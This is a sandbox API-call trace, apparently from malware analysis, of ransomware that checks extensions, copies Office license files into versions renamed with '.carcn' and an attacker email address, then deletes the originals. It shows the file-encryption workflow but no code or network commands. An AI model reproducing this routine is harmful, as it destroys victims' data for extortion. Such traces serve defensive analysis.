[0284.252] lstrlenW (lpString=".docx") returned 5 [0284.252] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0284.252] lstrlenW (lpString=".pdf") returned 4 [0284.252] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0284.252] lstrlenW (lpString=".xls") returned 4 [0284.253] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0284.253] lstrlenW (lpString=".xlsx") returned 5 [0284.253] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0284.253] lstrlenW (lpString=".ppt") returned 4 [0284.253] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0284.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0284.253] lstrlenW (lpString=".zip") returned 4 [0284.253] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0284.253] lstrlenW (lpString=".rar") returned 4 [0284.253] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0284.253] lstrlenW (lpString=".bz2") returned 4 [0284.253] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0284.264] lstrlenW (lpString=".7z") returned 3 [0284.264] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0284.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0284.264] lstrlenW (lpString=".dbf") returned 4 [0284.265] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0284.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0284.265] lstrlenW (lpString=".1cd") returned 4 [0284.265] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0284.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0284.265] lstrlenW (lpString=".jpg") returned 4 [0284.265] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0284.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0284.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0284.265] lstrlenW (lpString=".doc") returned 4 [0284.265] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0284.265] lstrlenW (lpString=".docx") returned 5 [0284.265] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0284.265] lstrlenW (lpString=".pdf") returned 4 [0284.265] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0284.265] lstrlenW (lpString=".xls") returned 4 [0284.265] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0284.265] lstrlenW (lpString=".xlsx") returned 5 [0284.265] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0284.265] lstrlenW (lpString=".ppt") returned 4 [0284.266] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0284.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0284.266] lstrlenW (lpString=".zip") returned 4 [0284.266] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0284.266] lstrlenW (lpString=".rar") returned 4 [0284.266] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0284.266] lstrlenW (lpString=".bz2") returned 4 [0284.266] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0284.266] lstrlenW (lpString=".7z") returned 3 [0284.266] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0284.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0284.266] lstrlenW (lpString=".dbf") returned 4 [0284.266] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0284.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0284.266] lstrlenW (lpString=".1cd") returned 4 [0284.266] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0284.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0284.266] lstrlenW (lpString=".jpg") returned 4 [0284.267] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0284.267] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0284.267] lstrlenW (lpString="AccessVL_MAK-ul-phn.xrm-ms") returned 26 [0284.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0284.268] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=19926) returned 1 [0284.268] CloseHandle (hObject=0x438) returned 1 [0284.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms")) returned 0x220 [0284.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0284.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0284.269] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.269] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0284.270] GetLastError () returned 0x0 [0284.270] ReadFile (in: hFile=0x438, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x4dd6, lpOverlapped=0x0) returned 1 [0284.289] WriteFile (in: hFile=0x394, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x4de0, lpOverlapped=0x0) returned 1 [0284.291] ReadFile (in: hFile=0x438, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0284.291] WriteFile (in: hFile=0x394, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x108, lpOverlapped=0x0) returned 1 [0284.291] SetEndOfFile (hFile=0x394) returned 1 [0284.291] CloseHandle (hObject=0x394) returned 1 [0284.292] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.292] SetEndOfFile (hFile=0x438) returned 1 [0284.298] CloseHandle (hObject=0x438) returned 1 [0284.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0284.312] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms")) returned 1 [0284.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0284.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0284.316] lstrlenW (lpString=".doc") returned 4 [0284.316] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0284.316] lstrlenW (lpString=".docx") returned 5 [0284.316] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0284.316] lstrlenW (lpString=".pdf") returned 4 [0284.316] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0284.316] lstrlenW (lpString=".xls") returned 4 [0284.316] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0284.316] lstrlenW (lpString=".xlsx") returned 5 [0284.316] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0284.316] lstrlenW (lpString=".ppt") returned 4 [0284.316] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0284.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0284.316] lstrlenW (lpString=".zip") returned 4 [0284.316] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0284.316] lstrlenW (lpString=".rar") returned 4 [0284.316] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0284.316] lstrlenW (lpString=".bz2") returned 4 [0284.316] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0284.316] lstrlenW (lpString=".7z") returned 3 [0284.316] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0284.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0284.316] lstrlenW (lpString=".dbf") returned 4 [0284.317] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0284.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0284.317] lstrlenW (lpString=".1cd") returned 4 [0284.317] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0284.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0284.317] lstrlenW (lpString=".jpg") returned 4 [0284.317] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0284.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0284.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0284.317] lstrlenW (lpString=".doc") returned 4 [0284.317] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0284.317] lstrlenW (lpString=".docx") returned 5 [0284.317] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0284.317] lstrlenW (lpString=".pdf") returned 4 [0284.317] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0284.317] lstrlenW (lpString=".xls") returned 4 [0284.317] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0284.317] lstrlenW (lpString=".xlsx") returned 5 [0284.317] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0284.317] lstrlenW (lpString=".ppt") returned 4 [0284.317] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0284.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0284.318] lstrlenW (lpString=".zip") returned 4 [0284.318] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0284.318] lstrlenW (lpString=".rar") returned 4 [0284.318] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0284.318] lstrlenW (lpString=".bz2") returned 4 [0284.318] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0284.318] lstrlenW (lpString=".7z") returned 3 [0284.318] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0284.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0284.318] lstrlenW (lpString=".dbf") returned 4 [0284.318] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0284.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0284.318] lstrlenW (lpString=".1cd") returned 4 [0284.318] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0284.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0284.318] lstrlenW (lpString=".jpg") returned 4 [0284.318] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0284.318] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0284.318] lstrlenW (lpString="client-issuance-root-bridge-test.xrm-ms") returned 39 [0284.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0284.320] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=3219) returned 1 [0284.320] CloseHandle (hObject=0x41c) returned 1 [0284.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms")) returned 0x220 [0284.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0284.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0284.321] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.321] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0284.322] GetLastError () returned 0x0 [0284.322] ReadFile (in: hFile=0x41c, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0xc93, lpOverlapped=0x0) returned 1 [0284.416] WriteFile (in: hFile=0x438, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0xca0, lpOverlapped=0x0) returned 1 [0284.418] ReadFile (in: hFile=0x41c, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0284.418] WriteFile (in: hFile=0x438, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x122, lpOverlapped=0x0) returned 1 [0284.418] SetEndOfFile (hFile=0x438) returned 1 [0284.418] CloseHandle (hObject=0x438) returned 1 [0284.418] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.419] SetEndOfFile (hFile=0x41c) returned 1 [0284.422] CloseHandle (hObject=0x41c) returned 1 [0284.422] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0284.423] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms")) returned 1 [0284.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0284.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0284.424] lstrlenW (lpString=".doc") returned 4 [0284.424] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0284.450] lstrlenW (lpString=".docx") returned 5 [0284.450] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0284.450] lstrlenW (lpString=".pdf") returned 4 [0284.450] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0284.450] lstrlenW (lpString=".xls") returned 4 [0284.450] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0284.450] lstrlenW (lpString=".xlsx") returned 5 [0284.450] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0284.450] lstrlenW (lpString=".ppt") returned 4 [0284.450] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0284.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0284.451] lstrlenW (lpString=".zip") returned 4 [0284.451] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0284.451] lstrlenW (lpString=".rar") returned 4 [0284.451] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0284.451] lstrlenW (lpString=".bz2") returned 4 [0284.451] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0284.451] lstrlenW (lpString=".7z") returned 3 [0284.451] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0284.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0284.451] lstrlenW (lpString=".dbf") returned 4 [0284.451] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0284.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0284.451] lstrlenW (lpString=".1cd") returned 4 [0284.451] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0284.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0284.451] lstrlenW (lpString=".jpg") returned 4 [0284.451] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0284.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0284.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0284.452] lstrlenW (lpString=".doc") returned 4 [0284.452] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0284.613] lstrlenW (lpString=".docx") returned 5 [0284.613] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0284.614] lstrlenW (lpString=".pdf") returned 4 [0284.614] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0284.614] lstrlenW (lpString=".xls") returned 4 [0284.614] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0284.614] lstrlenW (lpString=".xlsx") returned 5 [0284.614] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0284.614] lstrlenW (lpString=".ppt") returned 4 [0284.614] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0284.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0284.614] lstrlenW (lpString=".zip") returned 4 [0284.614] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0284.614] lstrlenW (lpString=".rar") returned 4 [0284.614] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0284.614] lstrlenW (lpString=".bz2") returned 4 [0284.614] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0284.614] lstrlenW (lpString=".7z") returned 3 [0284.614] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0284.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0284.614] lstrlenW (lpString=".dbf") returned 4 [0284.614] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0284.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0284.614] lstrlenW (lpString=".1cd") returned 4 [0284.614] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0284.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0284.614] lstrlenW (lpString=".jpg") returned 4 [0284.615] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0284.615] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0284.615] lstrlenW (lpString="ExcelR_Grace-ul-oob.xrm-ms") returned 26 [0284.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0284.783] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=11589) returned 1 [0284.783] CloseHandle (hObject=0x41c) returned 1 [0284.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms")) returned 0x220 [0284.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0284.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0284.983] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.983] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0285.024] GetLastError () returned 0x0 [0285.024] ReadFile (in: hFile=0x4a0, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x2d45, lpOverlapped=0x0) returned 1 [0285.062] WriteFile (in: hFile=0x4ac, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0285.063] ReadFile (in: hFile=0x4a0, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0285.063] WriteFile (in: hFile=0x4ac, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x108, lpOverlapped=0x0) returned 1 [0285.063] SetEndOfFile (hFile=0x4ac) returned 1 [0285.064] CloseHandle (hObject=0x4ac) returned 1 [0285.064] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.064] SetEndOfFile (hFile=0x4a0) returned 1 [0285.067] CloseHandle (hObject=0x4a0) returned 1 [0285.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0285.067] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms")) returned 1 [0285.069] 